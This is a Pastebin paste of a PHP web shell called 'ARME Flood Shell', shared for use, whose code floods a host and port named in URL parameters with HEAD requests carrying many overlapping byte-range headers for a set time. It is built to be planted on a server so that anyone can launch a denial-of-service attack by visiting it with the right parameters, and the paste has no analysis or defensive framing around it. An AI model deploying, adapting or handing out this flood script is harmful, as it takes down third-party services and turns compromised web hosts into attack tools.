Advertisement
FreeShells

arme shell.php

Jun 2nd, 2017
313
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.80 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(TRUE);
  3. set_time_limit(0);
  4. ?>
  5. <html>
  6. <body>
  7. <center>
  8. <font color="#660000">
  9. <pre>
  10.     ______              ________  ________
  11.    / ____/___ ___  ____/_  __/ / / / ____/
  12.   / __/ / __ `__ \/ __ \/ / / /_/ / /    
  13.  / /___/ / / / / / /_/ / / / __  / /___  
  14. /_____/_/ /_/ /_/\____/_/ /_/ /_/\____/  
  15.  
  16. ARME Flood Shell
  17. </pre>
  18. <STYLE>
  19. input{
  20. background-color: #660000; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
  21. }
  22. body {
  23. background-color: #000000;
  24. }
  25. </style>
  26. <?php
  27.  
  28.    if ((!isset($_GET['time']))
  29.  
  30.    OR (!isset($_GET['port']))
  31.  
  32.    OR (!isset($_GET['host'])))
  33.  
  34.    {
  35.  
  36.       die();
  37.  
  38.    }
  39.  
  40.    $host = $_GET['host'];
  41.  
  42.    $exec_time = (int)$_GET['time'];
  43.  
  44.    $time = time();
  45.  
  46.    $max_time = $time + $exec_time;
  47.  
  48.    $p = "";
  49.  
  50.    for ($k=0;$k<50;$k++) {
  51.  
  52.    $p .= ",5-$k";
  53.  
  54.    }
  55.  
  56.    while(1)
  57.  
  58.    {
  59.  
  60.       if(time() > $max_time)
  61.  
  62.       {
  63.  
  64.          break;
  65.  
  66.       }
  67.  
  68.       if ($_GET['port'] == "rand")
  69.  
  70.       {
  71.  
  72.          $rand = rand(1,65535);
  73.  
  74.       }
  75.  
  76.       else
  77.  
  78.       {
  79.  
  80.          $rand = (int)$_GET['port'];
  81.  
  82.       }
  83.       $fp = stream_socket_client($host.":".$rand, $errno, $errstr);
  84.       stream_set_read_buffer($fp, 1);
  85.  
  86.       if ($fp)
  87.  
  88.       {
  89.  
  90.          $out = "HEAD / HTTP/1.1\r\n";
  91.  
  92.          $out .= "Host: {$host}\r\n";
  93.  
  94.          $out .= "User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1\r\n";
  95.  
  96.          $out .= "Range:bytes=0-{$p}\r\n";
  97.  
  98.          $out .= "Request-Range:bytes=0-{$p}\r\n";
  99.  
  100.          $out .= "Accept-Encoding: gzip\r\n";
  101.  
  102.          $out .= "Connection: close\r\n\r\n";
  103.  
  104.          stream_socket_sendto($fp, $out);
  105.  
  106.       }
  107.  
  108.    }
  109.  
  110.      echo "ARME flood on {$host}:{$rand} complete after: {$exec_time} seconds";
  111.  
  112. ?>
  113. </center>
  114. </body>
  115. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement